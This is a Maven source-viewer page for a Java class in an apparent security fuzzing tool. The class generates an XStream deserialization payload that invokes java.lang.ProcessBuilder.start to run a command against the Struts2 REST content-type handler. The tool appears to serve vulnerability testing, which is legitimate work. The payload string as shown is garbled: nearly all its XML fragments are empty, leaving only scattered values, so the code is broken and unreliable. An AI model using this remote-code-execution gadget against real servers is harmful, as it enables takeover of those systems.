All Downloads are FREE. Search and download functionalities are using the official Maven repository.

io.rivulet.internal.fuzz.generator.XStreamGenerator Maven / Gradle / Ivy

The newest version!
package io.rivulet.internal.fuzz.generator;

import io.rivulet.internal.rerun.ReplacementImplBuilder;
import io.rivulet.internal.rerun.RequestRerunConfigBuilder;
import io.rivulet.internal.rerun.RerunConfigBuilder;
import io.rivulet.internal.Violation;

import java.util.Arrays;

public class XStreamGenerator extends RCEGenerator {
    private static final String PAYLOAD = "" +
            "" +
            "" +
            "0" +
            "" +
            "" +
            "" +
            "" +
            "" +
            "false" +
            "0" +
            "" +
            "" +
            "" +
            "" +
            "" +
            String.format("%s", EXEC_COMMAND) +
            "" +
            "false" +
            "" +
            "" +
            "" +
            "" +
            "java.lang.ProcessBuilder" +
            "start" +
            "" +
            "" +
            "foo" +
            "" +
            "foo" +
            "" +
            "" +
            "" +
            "" +
            "" +
            "false" +
            "0" +
            "0" +
            "false" +
            "" +
            "false" +
            "" +
            "" +
            "" +
            "0" +
            "" +
            "" +
            "" +
            "" +
            "" +
            "" +
            "" +
            "" +
            "";

    public Iterable generateRerunBuilders(Violation violation, Object receiver, Object[] arguments) {
        return Arrays.asList(
                new RequestRerunConfigBuilder()
                        .contentTypeReplacement("application/xml; charset=ISO-8859-1", true, false)
                        .addReplacementBuilder(new ReplacementImplBuilder().isPayload(true).required(true).value(PAYLOAD))
        );
    }

    @Override
    public boolean isApplicable(Violation violation) {
        return violation.getBaseSink().equals("org/apache/struts2/rest/handler/ContentTypeHandler.toObject(Ljava/io/Reader;Ljava/lang/Object;)V");
    }
}




© 2015 - 2025 Weber Informatics LLC | Privacy Policy